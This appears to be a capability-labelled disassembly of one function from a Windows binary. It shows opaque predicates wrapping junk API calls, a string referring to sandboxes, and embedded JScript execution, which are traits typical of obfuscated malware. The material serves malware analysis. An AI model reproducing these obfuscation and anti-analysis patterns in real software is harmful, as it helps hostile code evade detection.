Function at 0x14000cbb0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
push rdi
push r14
push r15
sub rsp, 0xf0
mov qword [rax - 0x28], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rsi, r8
mov r14, rdx
mov rdi, rcx
mov r10d, dword [0x1401bdd80]
lea r9d, [r10 + 2]
lea eax, [r10 + 1]
imul r9d, eax
imul r9d, r10d
mov eax, 0x88888889
imul r9d
add edx, r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r9d, edx
xor ebx, ebx
cmp r9d, 0xa
jne 0x14000ccba
mov edx, ebx
nop dword [rax]
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, r10d
mov eax, edx
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r10d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r10d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r10d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r10d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r10d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r10d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r10d
sar ecx, 1
xor eax, ecx
add r10d, eax
inc edx
cmp edx, 0x100
jl 0x14000cc20
mov dword [0x1401bdd80], r10d
xor r15b, r15b
mov ecx, r10d
imul ecx, r10d
imul ecx, r10d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xa
jne 0x14000ccf2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov r10d, dword [0x1401bdd80]
mov rax, qword [rsi]
cmp dword [rax - 0x10], 0
jne 0x14000cd6b
lea ecx, [r10 + 2]
lea eax, [r10 + 1]
imul ecx, eax
imul ecx, r10d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x10
jne 0x14000cd4d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14000cd64
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov al, 1
jmp 0x14000d27f
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov eax, dword [0x1401bdd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xc
jne 0x14000cdb3
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov qword [rsp + 0x48], rbx
lea rcx, [0x1401b59a8]
mov rax, qword [0x1401b59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov eax, dword [0x1401bdd80]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 0x8000000f
jge 0x14000cded
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 0xf
jne 0x14000ce07
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x50]
mov rdx, r14
call fcn.14000ef50
test al, al
jne 0x14000cf48
lea r8, [0x140147144]
lea rdx, [0x140147148]
lea rcx, [rsp + 0x40]
call fcn.14000fa00
lea rcx, [0x1401b59a8]
mov rax, qword [0x1401b59a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
lea rdx, str.QueryInterfacesForSandBox_
test rdx, 0xffffffffffff0000
jne 0x14000ce98
movzx ebx, dx
mov ecx, ebx
call fcn.1400019e0
test rax, rax
je 0x14000cea3
mov r8d, ebx
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140002690
jmp 0x14000cea3
lea rcx, [rsp + 0x60]
call fcn.140003600
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xb8]
call fcn.14000feb0
mov rdx, rax
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0xb0]
nop
mov rdx, qword [rsp + 0xb8]
add rdx, 0xffffffffffffffe8
or ebx, 0xffffffff
lock add dword [rdx + 0x10], ebx
jg 0x14000cee9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14000cf03
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x14000cf21
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14000cf32
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000cf43
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000d250
mov r14, qword [rsp + 0x50]
cmp qword [rdi + 0xa0], 0
jne 0x14000cf65
test r14, r14
je 0x14000cfe8
jmp 0x14000d20d
test r14, r14
je 0x14000d20d
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x70], rbx
mov rcx, qword [rdi + 0xa0]
mov rax, qword [rcx]
lea r8, [rsp + 0x80]
lea rdx, [0x1401468b0]
call qword [rax]
mov rax, qword [r14]
lea r8, [rsp + 0x70]
lea rdx, [0x1401468b0]
mov rcx, r14
call qword [rax]
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x80], rax
sete r14b
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000cfcc
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x14000cfdf
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14b, r14b
je 0x14000d20d
mov rcx, qword [rsi]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x128], edx
mov qword [rsp + 0xc0], rcx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov r14, rax
mov qword [rsp + 0xd8], rax
test rax, rax
jne 0x14000d018
call fcn.140002580
lea rcx, str.JScript
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r8, rax
mov qword [rsp + 0xc8], rax
mov word [rsp + 0xa0], bx
xor eax, eax
mov qword [rsp + 0xa2], rax
mov qword [rsp + 0xaa], rax
mov dword [rsp + 0xb2], eax
mov word [rsp + 0xb6], ax
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
lea r9, [rsp + 0xa0]
mov rdx, r14
call qword [rax + 0x220]
mov ebx, eax
mov dword [rsp + 0x98], eax
test eax, eax
je 0x14000d15c
lea rcx, [0x1401b59a8]
mov rax, qword [0x1401b59a8]
call qword [rax + 0x18]
mov qword [rsp + 0xd0], rax
add rax, 0x18
mov qword [rsp + 0x68], rax
mov r8d, ebx
lea rdx, str.exec_script_failed__d
lea rcx, [rsp + 0x68]
call fcn.140012200
mov rax, qword [rdi]
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [rax + 0xb0]
nop
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x90], rcx
or ebx, 0xffffffff
lock add dword [rcx + 0x10], ebx
jg 0x14000d0f7
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x88], rcx
mov eax, ebx
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14000d125
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14000d136
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000d147
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000d157
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000d261
mov r8d, dword [0x1401bdd80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 5
jne 0x14000d1bb
mov ecx, 1
mov dword [rsp + 0x78], ecx
nop dword [rax]
cmp ecx, r8d
jge 0x14000d1b5
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x78], ecx
jmp 0x14000d1a0
mov dword [0x1401bdd80], ecx
jmp 0x14000d1c5
mov r15b, 1
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x14000d1e9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14000d1fa
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000d20b
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000d250
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x14000d22e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14000d23f
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000d250
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000d261
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
dec ebx
jg 0x14000d27b
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, r15b
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r15
pop r14
pop rdi
ret